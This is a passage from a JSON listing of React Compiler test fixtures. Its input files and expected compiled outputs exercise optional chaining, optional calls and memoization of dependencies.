    "content": "\n## Input\n\n```javascript\nimport {useNoAlias} from 'shared-runtime';\n\nfunction useFoo(props: {value: {x: string; y: string} | null}) {\n  const value = props.value;\n  return useNoAlias(value?.x, value?.y) ? {} : null;\n}\n\nexport const FIXTURE_ENTRYPONT = {\n  fn: useFoo,\n  props: [{value: null}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { useNoAlias } from \"shared-runtime\";\n\nfunction useFoo(props) {\n  const value = props.value;\n  return useNoAlias(value?.x, value?.y) ? {} : null;\n}\n\nexport const FIXTURE_ENTRYPONT = {\n  fn: useFoo,\n  props: [{ value: null }],\n};\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-call-chain-in-ternary.ts",
    "content": "import {useNoAlias} from 'shared-runtime';\n\nfunction useFoo(props: {value: {x: string; y: string} | null}) {\n  const value = props.value;\n  return useNoAlias(value?.x, value?.y) ? {} : null;\n}\n\nexport const FIXTURE_ENTRYPONT = {\n  fn: useFoo,\n  props: [{value: null}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-call-chained.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  return call?.(props.a)?.(props.b)?.(props.c);\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== props) {\n    t0 = call?.(props.a)?.(props.b)?.(props.c);\n    $[0] = props;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-call-chained.js",
    "content": "function Component(props) {\n  return call?.(props.a)?.(props.b)?.(props.c);\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-call-logical.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useFragment} from 'shared-runtime';\n\nfunction Component(props) {\n  const item = useFragment(\n    graphql`\n      fragment F on T {\n        id\n      }\n    `,\n    props.item\n  );\n  return item.items?.map(item => renderItem(item)) ?? [];\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { useFragment } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(2);\n  const item = useFragment(\n    graphql`\n      fragment F on T {\n        id\n      }\n    `,\n    props.item,\n  );\n  let t0;\n  if ($[0] !== item.items) {\n    t0 = item.items?.map(_temp) ?? [];\n    $[0] = item.items;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\nfunction _temp(item_0) {\n  return renderItem(item_0);\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-call-logical.js",
    "content": "import {useFragment} from 'shared-runtime';\n\nfunction Component(props) {\n  const item = useFragment(\n    graphql`\n      fragment F on T {\n        id\n      }\n    `,\n    props.item\n  );\n  return item.items?.map(item => renderItem(item)) ?? [];\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-call-simple.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  return foo?.(props);\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== props) {\n    t0 = foo?.(props);\n    $[0] = props;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-call-simple.js",
    "content": "function Component(props) {\n  return foo?.(props);\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-call-with-independently-memoizable-arg.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const x = makeOptionalFunction(props);\n  // for a regular call, the JSX element could be independently memoized\n  // since it is an immutable value. however, because the call is optional,\n  // we can't extract out independent memoization for the element w/o\n  // forcing that argument to evaluate unconditionally\n  const y = x?.(\n    <div>\n      <span>{props.text}</span>\n    </div>\n  );\n  return y;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== props) {\n    const x = makeOptionalFunction(props);\n    t0 = x?.(\n      <div>\n        <span>{props.text}</span>\n      </div>,\n    );\n    $[0] = props;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const y = t0;\n  return y;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-call-with-independently-memoizable-arg.js",
    "content": "function Component(props) {\n  const x = makeOptionalFunction(props);\n  // for a regular call, the JSX element could be independently memoized\n  // since it is an immutable value. however, because the call is optional,\n  // we can't extract out independent memoization for the element w/o\n  // forcing that argument to evaluate unconditionally\n  const y = x?.(\n    <div>\n      <span>{props.text}</span>\n    </div>\n  );\n  return y;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-call-with-optional-property-load.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  return props?.items?.map?.(render)?.filter(Boolean) ?? [];\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== props?.items) {\n    t0 = props?.items?.map?.(render)?.filter(Boolean) ?? [];\n    $[0] = props?.items;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-call-with-optional-property-load.js",
    "content": "function Component(props) {\n  return props?.items?.map?.(render)?.filter(Boolean) ?? [];\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-call.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const x = makeOptionalFunction(props);\n  const y = makeObject(props);\n  const z = x?.(y.a, props.a, foo(y.b), bar(props.b));\n  return z;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== props) {\n    const x = makeOptionalFunction(props);\n    const y = makeObject(props);\n    t0 = x?.(y.a, props.a, foo(y.b), bar(props.b));\n    $[0] = props;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const z = t0;\n  return z;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-call.js",
    "content": "function Component(props) {\n  const x = makeOptionalFunction(props);\n  const y = makeObject(props);\n  const z = x?.(y.a, props.a, foo(y.b), bar(props.b));\n  return z;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-computed-load-static.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  let x = a?.b.c[0];\n  return x;\n}\n\n```\n\n## Code\n\n```javascript\nfunction Component(props) {\n  const x = a?.b.c[0];\n  return x;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-computed-load-static.js",
    "content": "function Component(props) {\n  let x = a?.b.c[0];\n  return x;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-computed-member-expression.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const object = makeObject(props);\n  return object?.[props.key];\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== props) {\n    t0 = makeObject(props);\n    $[0] = props;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const object = t0;\n  return object?.[props.key];\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-computed-member-expression.js",
    "content": "function Component(props) {\n  const object = makeObject(props);\n  return object?.[props.key];\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-member-expression-as-memo-dep.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies\nimport {identity, ValidateMemoization} from 'shared-runtime';\nimport {useMemo} from 'react';\n\nfunction Component({arg}) {\n  const data = useMemo(() => {\n    return arg?.items.edges?.nodes.map(identity);\n  }, [arg?.items.edges?.nodes]);\n  return (\n    <ValidateMemoization inputs={[arg?.items.edges?.nodes]} output={data} />\n  );\n}\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{arg: null}],\n  sequentialRenders: [\n    {arg: null},\n    {arg: null},\n    {arg: {items: {edges: null}}},\n    {arg: {items: {edges: null}}},\n    {arg: {items: {edges: {nodes: [1, 2, 'hello']}}}},\n    {arg: {items: {edges: {nodes: [1, 2, 'hello']}}}},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies\nimport { identity, ValidateMemoization } from \"shared-runtime\";\nimport { useMemo } from \"react\";\n\nfunction Component(t0) {\n  const $ = _c(7);\n  const { arg } = t0;\n\n  arg?.items.edges?.nodes;\n  let t1;\n  if ($[0] !== arg?.items.edges?.nodes) {\n    t1 = arg?.items.edges?.nodes.map(identity);\n    $[0] = arg?.items.edges?.nodes;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const data = t1;\n\n  const t2 = arg?.items.edges?.nodes;\n  let t3;\n  if ($[2] !== t2) {\n    t3 = [t2];\n    $[2] = t2;\n    $[3] = t3;\n  } else {\n    t3 = $[3];\n  }\n  let t4;\n  if ($[4] !== data || $[5] !== t3) {\n    t4 = <ValidateMemoization inputs={t3} output={data} />;\n    $[4] = data;\n    $[5] = t3;\n    $[6] = t4;\n  } else {\n    t4 = $[6];\n  }\n  return t4;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ arg: null }],\n  sequentialRenders: [\n    { arg: null },\n    { arg: null },\n    { arg: { items: { edges: null } } },\n    { arg: { items: { edges: null } } },\n    { arg: { items: { edges: { nodes: [1, 2, \"hello\"] } } } },\n    { arg: { items: { edges: { nodes: [1, 2, \"hello\"] } } } },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"inputs\":[null]}</div>\n<div>{\"inputs\":[null]}</div>\n<div>{\"inputs\":[null]}</div>\n<div>{\"inputs\":[null]}</div>\n<div>{\"inputs\":[[1,2,\"hello\"]],\"output\":[1,2,\"hello\"]}</div>\n<div>{\"inputs\":[[1,2,\"hello\"]],\"output\":[1,2,\"hello\"]}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-member-expression-as-memo-dep.js",
    "content": "// @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies\nimport {identity, ValidateMemoization} from 'shared-runtime';\nimport {useMemo} from 'react';\n\nfunction Component({arg}) {\n  const data = useMemo(() => {\n    return arg?.items.edges?.nodes.map(identity);\n  }, [arg?.items.edges?.nodes]);\n  return (\n    <ValidateMemoization inputs={[arg?.items.edges?.nodes]} output={data} />\n  );\n}\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{arg: null}],\n  sequentialRenders: [\n    {arg: null},\n    {arg: null},\n    {arg: {items: {edges: null}}},\n    {arg: {items: {edges: null}}},\n    {arg: {items: {edges: {nodes: [1, 2, 'hello']}}}},\n    {arg: {items: {edges: {nodes: [1, 2, 'hello']}}}},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-member-expression-call-as-property.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const x = makeObject();\n  return x?.[foo(props.value)];\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(3);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = makeObject();\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const x = t0;\n  let t1;\n  if ($[1] !== props) {\n    t1 = x?.[foo(props.value)];\n    $[1] = props;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  return t1;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-member-expression-call-as-property.js",
    "content": "function Component(props) {\n  const x = makeObject();\n  return x?.[foo(props.value)];\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-member-expression-chain.expect.md",
    "content": "\n## Input\n\n```javascript\n// Note that `a?.b.c` is semantically different from `(a?.b).c`\n// We should codegen the correct member expressions\nfunction Component(props) {\n  let x = props?.b.c;\n  let y = props?.b.c.d?.e.f.g?.h;\n  return {x, y};\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // Note that `a?.b.c` is semantically different from `(a?.b).c`\n// We should codegen the correct member expressions\nfunction Component(props) {\n  const $ = _c(3);\n  const x = props?.b.c;\n  const y = props?.b.c.d?.e.f.g?.h;\n  let t0;\n  if ($[0] !== x || $[1] !== y) {\n    t0 = { x, y };\n    $[0] = x;\n    $[1] = y;\n    $[2] = t0;\n  } else {\n    t0 = $[2];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-member-expression-chain.js",
    "content": "// Note that `a?.b.c` is semantically different from `(a?.b).c`\n// We should codegen the correct member expressions\nfunction Component(props) {\n  let x = props?.b.c;\n  let y = props?.b.c.d?.e.f.g?.h;\n  return {x, y};\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-member-expression-inverted-optionals-parallel-paths.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies\nimport {ValidateMemoization} from 'shared-runtime';\nfunction Component(props) {\n  const data = useMemo(() => {\n    const x = [];\n    x.push(props?.a.b?.c.d?.e);\n    x.push(props.a?.b.c?.d.e);\n    return x;\n  }, [props.a.b.c.d.e]);\n  return <ValidateMemoization inputs={[props.a.b.c.d.e]} output={x} />;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies\nimport { ValidateMemoization } from \"shared-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n\n  const x$0 = [];\n  x$0.push(props?.a.b?.c.d?.e);\n  x$0.push(props.a?.b.c?.d.e);\n  let t0;\n  if ($[0] !== props.a.b.c.d.e) {\n    t0 = <ValidateMemoization inputs={[props.a.b.c.d.e]} output={x} />;\n    $[0] = props.a.b.c.d.e;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-member-expression-inverted-optionals-parallel-paths.js",
    "content": "// @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies\nimport {ValidateMemoization} from 'shared-runtime';\nfunction Component(props) {\n  const data = useMemo(() => {\n    const x = [];\n    x.push(props?.a.b?.c.d?.e);\n    x.push(props.a?.b.c?.d.e);\n    return x;\n  }, [props.a.b.c.d.e]);\n  return <ValidateMemoization inputs={[props.a.b.c.d.e]} output={x} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-member-expression-single-with-unconditional.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies\nimport {ValidateMemoization} from 'shared-runtime';\nfunction Component(props) {\n  const data = useMemo(() => {\n    const x = [];\n    x.push(props?.items);\n    x.push(props.items);\n    return x;\n  }, [props.items]);\n  return <ValidateMemoization inputs={[props.items]} output={data} />;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies\nimport { ValidateMemoization } from \"shared-runtime\";\nfunction Component(props) {\n  const $ = _c(7);\n  let x;\n  if ($[0] !== props.items) {\n    x = [];\n    x.push(props?.items);\n    x.push(props.items);\n    $[0] = props.items;\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n  const data = x;\n  let t0;\n  if ($[2] !== props.items) {\n    t0 = [props.items];\n    $[2] = props.items;\n    $[3] = t0;\n  } else {\n    t0 = $[3];\n  }\n  let t1;\n  if ($[4] !== data || $[5] !== t0) {\n    t1 = <ValidateMemoization inputs={t0} output={data} />;\n    $[4] = data;\n    $[5] = t0;\n    $[6] = t1;\n  } else {\n    t1 = $[6];\n  }\n  return t1;\n}\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-member-expression-single-with-unconditional.js",
    "content": "// @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies\nimport {ValidateMemoization} from 'shared-runtime';\nfunction Component(props) {\n  const data = useMemo(() => {\n    const x = [];\n    x.push(props?.items);\n    x.push(props.items);\n    return x;\n  }, [props.items]);\n  return <ValidateMemoization inputs={[props.items]} output={data} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-member-expression-single.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies\nimport {ValidateMemoization} from 'shared-runtime';\nimport {useMemo} from 'react';\nfunction Component({arg}) {\n  const data = useMemo(() => {\n    const x = [];\n    x.push(arg?.items);\n    return x;\n  }, [arg?.items]);\n  return <ValidateMemoization inputs={[arg?.items]} output={data} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{arg: {items: 2}}],\n  sequentialRenders: [\n    {arg: {items: 2}},\n    {arg: {items: 2}},\n    {arg: null},\n    {arg: null},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies\nimport { ValidateMemoization } from \"shared-runtime\";\nimport { useMemo } from \"react\";\nfunction Component(t0) {\n  const $ = _c(7);\n  const { arg } = t0;\n\n  arg?.items;\n  let x;\n  if ($[0] !== arg?.items) {\n    x = [];\n    x.push(arg?.items);\n    $[0] = arg?.items;\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n  const data = x;\n  const t1 = arg?.items;\n  let t2;\n  if ($[2] !== t1) {\n    t2 = [t1];\n    $[2] = t1;\n    $[3] = t2;\n  } else {\n    t2 = $[3];\n  }\n  let t3;\n  if ($[4] !== data || $[5] !== t2) {\n    t3 = <ValidateMemoization inputs={t2} output={data} />;\n    $[4] = data;\n    $[5] = t2;\n    $[6] = t3;\n  } else {\n    t3 = $[6];\n  }\n  return t3;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ arg: { items: 2 } }],\n  sequentialRenders: [\n    { arg: { items: 2 } },\n    { arg: { items: 2 } },\n    { arg: null },\n    { arg: null },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"inputs\":[2],\"output\":[2]}</div>\n<div>{\"inputs\":[2],\"output\":[2]}</div>\n<div>{\"inputs\":[null],\"output\":[null]}</div>\n<div>{\"inputs\":[null],\"output\":[null]}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-member-expression-single.js",
    "content": "// @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies\nimport {ValidateMemoization} from 'shared-runtime';\nimport {useMemo} from 'react';\nfunction Component({arg}) {\n  const data = useMemo(() => {\n    const x = [];\n    x.push(arg?.items);\n    return x;\n  }, [arg?.items]);\n  return <ValidateMemoization inputs={[arg?.items]} output={data} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{arg: {items: 2}}],\n  sequentialRenders: [\n    {arg: {items: 2}},\n    {arg: {items: 2}},\n    {arg: null},\n    {arg: null},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-member-expression-with-optional-member-expr-as-property.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const x = makeObject();\n  return x.y?.[props.a?.[props.b?.[props.c]]];\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = makeObject();\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const x = t0;\n  return x.y?.[props.a?.[props.b?.[props.c]]];\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-member-expression-with-optional-member-expr-as-property.js",
    "content": "function Component(props) {\n  const x = makeObject();\n  return x.y?.[props.a?.[props.b?.[props.c]]];\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-member-expression.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Foo(props) {\n  let x = bar(props.a);\n  let y = x?.b;\n\n  let z = useBar(y);\n  return z;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Foo(props) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== props.a) {\n    t0 = bar(props.a);\n    $[0] = props.a;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const x = t0;\n  const y = x?.b;\n\n  const z = useBar(y);\n  return z;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-member-expression.js",
    "content": "function Foo(props) {\n  let x = bar(props.a);\n  let y = x?.b;\n\n  let z = useBar(y);\n  return z;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-method-call.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const x = makeObject(props);\n  const y = makeObject(props);\n  const z = x.optionalMethod?.(y.a, props.a, foo(y.b), bar(props.b));\n  return z;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== props) {\n    const x = makeObject(props);\n    const y = makeObject(props);\n    t0 = x.optionalMethod?.(y.a, props.a, foo(y.b), bar(props.b));\n    $[0] = props;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const z = t0;\n  return z;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-method-call.js",
    "content": "function Component(props) {\n  const x = makeObject(props);\n  const y = makeObject(props);\n  const z = x.optionalMethod?.(y.a, props.a, foo(y.b), bar(props.b));\n  return z;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-receiver-method-call.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const x = makeOptionalObject(props);\n  const y = makeObject(props);\n  const z = x?.method(y.a, props.a, foo(y.b), bar(props.b));\n  return z;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== props) {\n    const x = makeOptionalObject(props);\n    const y = makeObject(props);\n    t0 = x?.method(y.a, props.a, foo(y.b), bar(props.b));\n    $[0] = props;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const z = t0;\n  return z;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-receiver-method-call.js",
    "content": "function Component(props) {\n  const x = makeOptionalObject(props);\n  const y = makeObject(props);\n  const z = x?.method(y.a, props.a, foo(y.b), bar(props.b));\n  return z;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-receiver-optional-method.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const x = makeOptionalObject(props);\n  const y = makeObject(props);\n  const z = x?.optionalMethod?.(y.a, props.a, foo(y.b), bar(props.b));\n  return z;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== props) {\n    const x = makeOptionalObject(props);\n    const y = makeObject(props);\n    t0 = x?.optionalMethod?.(y.a, props.a, foo(y.b), bar(props.b));\n    $[0] = props;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const z = t0;\n  return z;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-receiver-optional-method.js",
    "content": "function Component(props) {\n  const x = makeOptionalObject(props);\n  const y = makeObject(props);\n  const z = x?.optionalMethod?.(y.a, props.a, foo(y.b), bar(props.b));\n  return z;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/original-reactive-scopes-fork/capture-ref-for-later-mutation.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableReactiveScopesInHIR:false\nimport {useRef} from 'react';\nimport {addOne} from 'shared-runtime';\n\nfunction useKeyCommand() {\n  const currentPosition = useRef(0);\n  const handleKey = direction => () => {\n    const position = currentPosition.current;\n    const nextPosition = direction === 'left' ? addOne(position) : position;\n    currentPosition.current = nextPosition;\n  };\n  const moveLeft = {\n    handler: handleKey('left'),\n  };\n  const moveRight = {\n    handler: handleKey('right'),\n  };\n  return [moveLeft, moveRight];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useKeyCommand,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableReactiveScopesInHIR:false\nimport { useRef } from \"react\";\nimport { addOne } from \"shared-runtime\";\n\nfunction useKeyCommand() {\n  const $ = _c(1);\n  const currentPosition = useRef(0);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const handleKey = (direction) => () => {\n      const position = currentPosition.current;\n      const nextPosition = direction === \"left\" ? addOne(position) : position;\n      currentPosition.current = nextPosition;\n    };\n    const moveLeft = { handler: handleKey(\"left\") };\n    const moveRight = { handler: handleKey(\"right\") };\n    t0 = [moveLeft, moveRight];\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useKeyCommand,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: ok) [{\"handler\":\"[[ function params=0 ]]\"},{\"handler\":\"[[ function params=0 ]]\"}]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/original-reactive-scopes-fork/capture-ref-for-later-mutation.tsx",
    "content": "// @enableReactiveScopesInHIR:false\nimport {useRef} from 'react';\nimport {addOne} from 'shared-runtime';\n\nfunction useKeyCommand() {\n  const currentPosition = useRef(0);\n  const handleKey = direction => () => {\n    const position = currentPosition.current;\n    const nextPosition = direction === 'left' ? addOne(position) : position;\n    currentPosition.current = nextPosition;\n  };\n  const moveLeft = {\n    handler: handleKey('left'),\n  };\n  const moveRight = {\n    handler: handleKey('right'),\n  };\n  return [moveLeft, moveRight];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useKeyCommand,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/outlined-destructured-params.expect.md",
